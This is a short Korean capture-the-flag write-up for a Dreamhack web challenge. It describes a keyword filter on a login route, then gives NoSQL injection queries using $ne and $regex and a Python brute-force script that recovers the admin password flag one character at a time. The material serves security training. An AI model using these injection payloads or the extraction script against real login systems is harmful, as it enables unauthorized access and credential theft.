핵심 구조 요약
제한조건
const BAN = ['admin', 'dh', 'admi'];
if(filter(req.query)){
res.send('filter');
return;
} //요청 값 안에 admin, dh, admi 중 하나라도 들어있으면 로그인 시도 자체를 막음
공격
/login?uid[$ne]=guest&upw[$ne]=guest → uid와 upw가 guest가 아니면 admin일 가능성이 있음/login?uid[$regex]=^a&upw[$ne]=1 → upw가 1이 아닌 것 중에 a로 시작하는 uid
import requests
import urllib.parse
import string
url = '<http://host3.dreamhack.games:11816/login>'
charset = string.ascii_letters + string.digits
known = 'D.\\\\{' # 필터 우회용 시작 문자열
while True:
for c in charset:
guess = known + c # D.{a, D.{b, ...
regex = f'^{known + c}' # URL 인코딩
params = {
'uid[$regex]': '^adm',
'upw[$regex]': regex
}
res = requests.get(url, params=params)
if "admin" in res.text:
known += c
print(f'[+] Found: {known}')
break
else:
print('[!] 종료 조건 도달 또는 못 찾음')
break
이렇게 brute.py를 만들고 나서 cmd 창에서 실행하게 되면 }를 제외한 32자리 flag를 획득할 수 있다.
